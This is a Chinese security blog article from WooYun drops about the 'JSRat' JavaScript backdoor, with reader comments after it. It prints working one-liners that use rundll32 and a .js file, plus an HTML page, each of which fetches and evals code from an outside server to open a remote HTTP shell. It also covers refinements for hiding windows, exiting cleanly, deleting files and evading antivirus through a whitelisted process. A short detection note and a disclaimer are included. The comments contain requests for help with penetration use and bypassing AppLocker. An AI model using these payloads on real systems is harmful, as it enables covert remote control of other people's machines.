JavaScript Backdoor

0x00 前言


Casey Smith最近在Twitter分享了他的研究成果,执行一段JavaScript代码即可反弹一个Http Shell,很是奇妙,所以就对这个技术做了进一步研究。

Alt text

0x01 简介


Alt text

从截图我们可以看到该技术的使用方法,在cmd下利用rundll32.exe加载JavaScript代码,代码运行后会反弹一个Http Shell,而特别的地方在于当运行完cmd命令后,后台会一直存在进程rundll32.exe用来同Server持续连接,整个过程不需要写入文件,隐蔽性大大提高。

0x02 测试环境


Server:

#!bash
OS:Win7 x64
IP:192.168.174.131

Client:

#!bash
OS:Win7 x86
IP:192.168.174.130

下载链接:
https://gist.github.com/subTee/f1603fa5c15d5f8825c0

0x03 实际测试


1、Server启动服务,监听端口

需要将下载脚本中的IP修改为当前主机IP

管理员运行

2、Client加载JavaScript指令

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B)

3、Server弹回Shell

可以执行cmd命令并获得回显

Alt text

0x04 测试中的Bug


1、连接超时

Alt text

在成功返回shell后,如果在后台等待一段时间,Clinet就会弹出超时连接的对话框

Alt text

从截图可以看到Casey Smith已经发现了连接超时的问题,所以在新版本已经做了修正,加上window.setTimeout来避免连接超时的错误,在message内加了超时判断(message存储用于实现Client后续连接的代码,具体细节一看代码就明白),但是这样做还远远不够。

2、进程残留

如果Server退出,Clinet还会存在rundll32.exe进程

3、执行cmd命令会弹黑框

如果是立即回显的cmd命令,黑框一闪而过

如果是systeminfo这种需要等待的cmd命令,会一直弹出cmd 执行的黑框,等到执行完毕才会退出

4、执行exe会阻塞

比如执行calc.exe,server端会阻塞,直到关闭calc.exe进程才会恢复正常

如图

Alt text

5、无法删除文件

如图

Alt text

Alt text

6、server端无法正常退出

想退出只能强行关闭当前cmd.exe

7、无法上传下载文件

0x05 优化思路


1、对setTimeout的解释

查询相关资料如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx

文中提到了JavaScript实现WinHttpRequest的用法,如图

Alt text

setTimeout用来设置http的超时时间,如果全为0,代表no time-out,也就是无限期

注:
在Casey Smith发布的第一个版本尚未修复该方法的时候,我解决该方法的思路是参照微软的方法,对应到代码中就是添加
h.SetTimeouts(0, 0, 0, 0);即可

2、增加try catch方法处理错误消息

Casey Smith在代码中虽然加入了超时判断,但没有对其他可能产生的意外错误做判断,所以需要添加try catch对错误消息进行响应。

try catch不仅能够解决上述问题中的Bug1,同样能用来判断输入的命令能否成功执行(比如输错命令或输错路径)

(相关细节可参照结尾提供的参考代码)

查询相关资料如下:
http://blog.csdn.net/qdfeitian/article/details/6371146

3、使用taskkill解决进程残留的问题

Clinet可以使用taskkill来结束自身进程,自动退出

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")

4、WScript.Shell对象run和exec的区别

参考资料:

为了获得cmd命令的回显,Casey Smith采用的方法是使用exec方法,因为只有exec方法的返回值是一个对象,才可以获得控制台输出信息和控制台错误信息

而run方法的返回值是一个整数,就是0或1成功和失败两个状态

但是使用exec方法也有一些弊端,比如测试中的bug3和bug4,这是exec方法本身所无法解决的问题。

而如果使用run方法可以解决bug4

综上,解决思路是对输入的内容做判断,如果是cmd命令,使用exec方法;如果是执行exe,使用run方法

5、解决使用run方法执行命令会弹黑框的问题

参考资料:
https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx

如图

Alt text

run方法其实后面还可以加参数指示该窗口能否被看见

所以在执行比如taskkill的命令就可以使用

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)

避免弹出黑框

注:
intWindowStyle参数的说明中提到“Note that not all programs make use of this information.”
例子之一就是用run方法来执行systeminfo这种需要等待的cmd命令是无法隐藏窗口的

6、如何隐蔽执行systeminfo并获取回显

参考了如下资料:
WooYun: 搜狗浏览器远程命令执行之五 "> WooYun: 搜狗浏览器远程命令执行之五

如果使用exec方法,虽然可以获取到回显,但是利用window.moveTo(-1000,-1000)无法移动弹出的黑框

而使用run方法虽然可以移动弹出的黑框,但是无法获得回显

综合这两种方法,最后我们只能退而求其次,使用run方法将执行命令回显的结果输出到文件中,然后再通过读取文件来获取结果

具体实现如下:

(1)使用run方法将systeminfo回显的结果输出到文件中c\test\a.txt

示例代码:

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo >>c\test\a.txt",0,true)

(2)读取文件并回传

示例代码:

#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile(d,1);
g=f.ReadAll();
f.Close();

通过调用new ActiveXObject("Scripting.FileSystemObject")读取回显内容,然后再回传信息

(相关细节可参照结尾提供的参考代码)

7、解决连接超时的问题

通过以上的分析,如果要解决连接超时的问题,需要对Clinet执行的命令添加如下功能:

  1. 捕获错误消息
  2. 进程自动退出
  3. 全过程不弹黑框

所以Clinet执行的命令最终优化为:

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

8、解决server端无法正常退出

加入exit命令判断,如果输入exit,那么Client调用taskkill结束自身,Server同样执行exit退出

(相关细节可参照结尾提供的参考代码)

9、解决删除文件的问题

通过调用new ActiveXObject("Scripting.FileSystemObject")实现

示例代码:

#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f =fso1.GetFile(d);
f.Delete();

(相关细节可参照结尾提供的参考代码)

10、解决文件上传下载

示例如图:

Alt text

示例代码可以实现简单的文件上传下载,但里面存在一个小bug,如果你投入精力,不难解决

0x06 补充


1、白名单进程,免疫杀毒软件

由于是通过rundll.exe调用的代码,所以杀毒软件会放行,不会拦截

2、检测

通信协议使用HTTP,通过防火墙拦截流量即可发现其中的攻击行为

3、更多加载方式

(1)js文件

可以放在js文件里面 双击js文件执行

#!js
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
try{
h.Send();
B=h.ResponseText;
eval(B);
}
catch(e)
{
new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);
}

后台进程为wscript.exe

(2)尝试挂在网页里面

#!html
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
 <title> new document </title>
 <meta name="generator" content="editplus">
 <meta name="author" content="">
 <meta name="keywords" content="">
 <meta name="description" content="">
 <script language="javascript" type="text/javascript">
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
h.Send();
B=h.ResponseText;
eval(B);
</script>
</head>
<body>
</body>
</html>

使用ie打开会提示是否加载控件,如果允许,即可弹回shell

Chrome、Firefox不支持ActiveXObject,所以不会触发

0x07 小结


我在Casey Smith的基础上,对其代码做了进一步优化,对JavaScript Backdoor技术做了进一步研究,感谢他的无私分享,才有了我的这篇文章。

我开发的代码已上传到github,下载链接:
https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

欢迎下载测试,交流学习。

支持的功能如图

Alt text

注:
本文仅用来学习交流JavaScript Backdoor技术,并提供了检测方法
同时在文件上传下载的功能上留下了bug,距实际使用还有一点距离,以避免该方法被滥用。

本文由三好学生原创并首发于乌云drops,转载请注明

©乌云知识库版权所有 未经许可 禁止转载


30
watchdoge 2016-05-27 15:14:35

linux下可以实现么

30
Cube 2016-03-29 16:14:17

@三好学生 , Hi

thanks for your quick response, i will try it. :)
I've fav your site, it's awesome. =D

30
三好学生 2016-03-29 12:14:26

@Cube Hi,cube

Not must be on the same host. It is just my test environment.You can run the server on any IP that your client can connect to.It is just a normal HTTP communication:)

30
Cube 2016-03-28 18:52:21

Hi,

sry i dont understand the language but is it also possible to execute the script on the same host?

I can only call the rundll32.exe to execute .dll files,all other is blocked by applocker. I've used your writeup http://en.wooyun.io/2016/01/28/Bypass-Windows-AppLocker.html
With the rundll32.exe i can call an an cmd.dll of the ReactOS Team.

Enviroment:
Cloud Service
Applocker active, block all other than .hta files and rundll32.exe
with rundll32.exe execute an cmd.dll
Powershell is not available

So with your writeup it must be possible to set the server and client on the same host or?

Please if you answer, only an advice in the right direction no complete walktrough.

Thx in advance

30
houjue 2016-03-03 10:31:01

为什么我的powershell里头 client中write和send函数都不能为空,否则就报错。显示“(”后面应该有表达式

30
三好学生 2016-01-29 11:06:40

@杨某某 建议你重新测试一下,和环境设置没有关系,怀疑是通信接收的消息出错

30
杨某某 2016-01-21 19:57:49

试了下,win2008里正常,win7下报错,是环境设置的问题?

30
杨某某 2016-01-21 17:43:24

一运行JsRat.ps1脚本就一直报错,这两行代码:
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
$response.ContentLength64 = $buffer.length
错误信息如下:
使用“1”个参数调用“GetBytes”时发生异常:“数组不能为空。
参数名: chars”
所在位置 D:\tools\shell\JS Shell\JSRat.ps1:83 字符: 61
+ [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes <<<< ($message)
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DotNetMethodException

在此对象上找不到属性“ContentLength64”;请确保该属性存在且可设置。
所在位置 D:\tools\shell\JS Shell\JSRat.ps1:84 字符: 15
+ $response. <<<< ContentLength64 = $buffer.length
+ CategoryInfo : InvalidOperation: (ContentLength64:String) [], R
untimeException
+ FullyQualifiedErrorId : PropertyNotFound

30
杨某某 2016-01-21 16:00:12

@Touya 需要科学上网

30
Travel 2016-01-20 13:31:48

很多图片加载不出现,显示为alt text ,最后firebug查看源码是路径不对,static/drops/full/82da78f52980492e6e9bafe94b22babcce48536c.jpg,,,,drops前面多了一个路径斜杠/

30
gniq 2016-01-14 21:03:35

IE浏览器未能成功,脚本执行有错误
网页错误详细信息
消息: Automation 服务器不能创建对象
行: 10
字符: 1
代码: 0
URI: http://XXX/XXX.html

按照网上的方法注册了一些dll,依然没有成功

30
刘海哥 2016-01-08 09:35:32

有没有大牛分享如何在渗透中利用

30
DNS 2016-01-07 14:59:30

试验了,牛逼

30
鸟云小帅 2016-01-06 15:16:10

@浣熊可爱 你确定改了ip么?

30
鸟云小帅 2016-01-06 11:51:03

@牛 小 帅 powershell里修改一下默认策略 set-executionpolicy remotesigned

30
浣熊可爱 2016-01-06 11:19:08

显示 Host Connected 但 shell一直弹不回来,如何解决呢?

30
wolf 2016-01-05 18:56:39

漏洞验证方便了很多

30
三好学生 2016-01-05 16:00:29

@DM_ “如果使用exec方法,虽然可以获取到回显,但是利用window.moveTo(-1000,-1000)无法移动弹出的黑框
而使用run方法虽然可以移动弹出的黑框,但是无法获得回显” ,对啊,EXEC可以获取回显啊

30
Touya 2016-01-05 14:58:46

https://gist.github.com/subTee/f1603fa5c15d5f8825c0 作者Casey Smith的这个地址访问不了了,[email protected]习吧,谢谢啦!

30
DM_ 2016-01-05 14:29:39

Dim WshShell, oExec
Set WshShell = WScript.CreateObject("WScript.Shell")
Set oExec = WshShell.Exec("ipconfig")
x = oExec.StdOut.ReadAll
Wscript.Echo x

这样可以获取回显啊。

30
牛 小 帅 2016-01-05 13:36:45

无法加载文件 C:\Users\Administrator\Desktop\pu.ps1,[email protected]

30
玉林嘎 2016-01-05 12:00:47

mark

30
SPRITEKING 2016-01-05 11:53:41

火钳刘明

感谢知乎授权页面模版